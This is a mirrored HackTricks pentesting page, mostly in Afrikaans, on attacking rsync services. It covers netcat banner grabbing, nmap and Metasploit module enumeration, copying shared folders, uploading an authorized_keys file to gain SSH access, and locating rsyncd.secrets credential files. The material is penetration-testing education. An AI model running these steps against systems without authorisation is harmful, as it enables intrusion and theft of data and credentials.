mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
88 lines
4.2 KiB
Markdown
88 lines
4.2 KiB
Markdown
# 873 - Pentesting Rsync
|
|
|
|
{{#include ../banners/hacktricks-training.md}}
|
|
|
|
## **Basiese Inligting**
|
|
|
|
Van [wikipedia](https://en.wikipedia.org/wiki/Rsync):
|
|
|
|
> **rsync** is 'n nut vir doeltreffende [oorplasing](https://en.wikipedia.org/wiki/File_transfer) en [synchronisering](https://en.wikipedia.org/wiki/File_synchronization) van [lêers](https://en.wikipedia.org/wiki/Computer_file) tussen 'n rekenaar en 'n eksterne hardeskyf en oor [netwerk](https://en.wikipedia.org/wiki/Computer_network) [rekenaars](https://en.wikipedia.org/wiki/Computer) deur die [wysigings tye](<https://en.wikipedia.org/wiki/Timestamping_(computing)>) en groottes van lêers te vergelyk.[\[3\]](https://en.wikipedia.org/wiki/Rsync#_note-man_page-3) Dit word algemeen op [Unix-agtige](https://en.wikipedia.org/wiki/Unix-like) [bedryfstelsels](https://en.wikipedia.org/wiki/Operating_system) aangetref. Die rsync-algoritme is 'n tipe van [delta-kodering](https://en.wikipedia.org/wiki/Delta_encoding), en word gebruik om netwerkgebruik te minimaliseer. [Zlib](https://en.wikipedia.org/wiki/Zlib) kan gebruik word vir addisionele [data-kompressie](https://en.wikipedia.org/wiki/Data_compression),[\[3\]](https://en.wikipedia.org/wiki/Rsync#_note-man_page-3) en [SSH](https://en.wikipedia.org/wiki/Secure_Shell) of [stunnel](https://en.wikipedia.org/wiki/Stunnel) kan gebruik word vir sekuriteit.
|
|
|
|
**Standaard poort:** 873
|
|
```
|
|
PORT STATE SERVICE REASON
|
|
873/tcp open rsync syn-ack
|
|
```
|
|
## Enumerasie
|
|
|
|
### Banner & Handmatige kommunikasie
|
|
```bash
|
|
nc -vn 127.0.0.1 873
|
|
(UNKNOWN) [127.0.0.1] 873 (rsync) open
|
|
@RSYNCD: 31.0 <--- You receive this banner with the version from the server
|
|
@RSYNCD: 31.0 <--- Then you send the same info
|
|
#list <--- Then you ask the sever to list
|
|
raidroot <--- The server starts enumerating
|
|
USBCopy
|
|
NAS_Public
|
|
_NAS_Recycle_TOSRAID <--- Enumeration finished
|
|
@RSYNCD: EXIT <--- Sever closes the connection
|
|
|
|
|
|
#Now lets try to enumerate "raidroot"
|
|
nc -vn 127.0.0.1 873
|
|
(UNKNOWN) [127.0.0.1] 873 (rsync) open
|
|
@RSYNCD: 31.0
|
|
@RSYNCD: 31.0
|
|
raidroot
|
|
@RSYNCD: AUTHREQD 7H6CqsHCPG06kRiFkKwD8g <--- This means you need the password
|
|
```
|
|
### **Opname van Gedeelde Mappe**
|
|
|
|
**Rsync modules** word erken as **gedeelde direkteure** wat moontlik **met wagwoorde beskerm word**. Om beskikbare modules te identifiseer en te kyk of hulle wagwoorde benodig, word die volgende opdragte gebruik:
|
|
```bash
|
|
nmap -sV --script "rsync-list-modules" -p <PORT> <IP>
|
|
msf> use auxiliary/scanner/rsync/modules_list
|
|
|
|
# Example with IPv6 and alternate port
|
|
rsync -av --list-only rsync://[dead:beef::250:56ff:feb9:e90a]:8730
|
|
```
|
|
Wees bewus dat sommige gedeeltes dalk nie in die lys verskyn nie, moontlik omdat hulle versteek is. Daarbenewens kan toegang tot sommige gedeeltes beperk wees tot spesifieke **credentials**, aangedui deur 'n **"Access Denied"** boodskap.
|
|
|
|
### [**Brute Force**](../generic-hacking/brute-force.md#rsync)
|
|
|
|
### Handmatige Rsync Gebruik
|
|
|
|
Sodra 'n **module lys** verkry is, hang aksies af van of verifikasie nodig is. Sonder verifikasie kan **lys** en **kopieer** van lêers van 'n gedeelde gids na 'n plaaslike gids bereik word deur:
|
|
```bash
|
|
# Listing a shared folder
|
|
rsync -av --list-only rsync://192.168.0.123/shared_name
|
|
|
|
# Copying files from a shared folder
|
|
rsync -av rsync://192.168.0.123:8730/shared_name ./rsyn_shared
|
|
```
|
|
Hierdie proses **herhalend oordra lêers**, ter behoud van hul eienskappe en toestemmings.
|
|
|
|
Met **akkrediteeringe** kan lys en aflaai van 'n gedeelde gids soos volg gedoen word, waar 'n wagwoordprompt sal verskyn:
|
|
```bash
|
|
rsync -av --list-only rsync://username@192.168.0.123/shared_name
|
|
rsync -av rsync://username@192.168.0.123:8730/shared_name ./rsyn_shared
|
|
```
|
|
Om **inhoud op te laai**, soos 'n _**authorized_keys**_ lêer vir toegang, gebruik:
|
|
```bash
|
|
rsync -av home_user/.ssh/ rsync://username@192.168.0.123/home_user/.ssh
|
|
```
|
|
## POST
|
|
|
|
Om die rsyncd konfigurasie lêer te vind, voer uit:
|
|
```bash
|
|
find /etc \( -name rsyncd.conf -o -name rsyncd.secrets \)
|
|
```
|
|
Binne hierdie lêer kan 'n _secrets file_ parameter na 'n lêer verwys wat **gebruikersname en wagwoorde** vir rsyncd-outeentifikasie bevat.
|
|
|
|
## Verwysings
|
|
|
|
- [https://www.smeegesec.com/2016/12/pentesting-rsync.html](https://www.smeegesec.com/2016/12/pentesting-rsync.html)
|
|
|
|
{{#include ../banners/hacktricks-training.md}}
|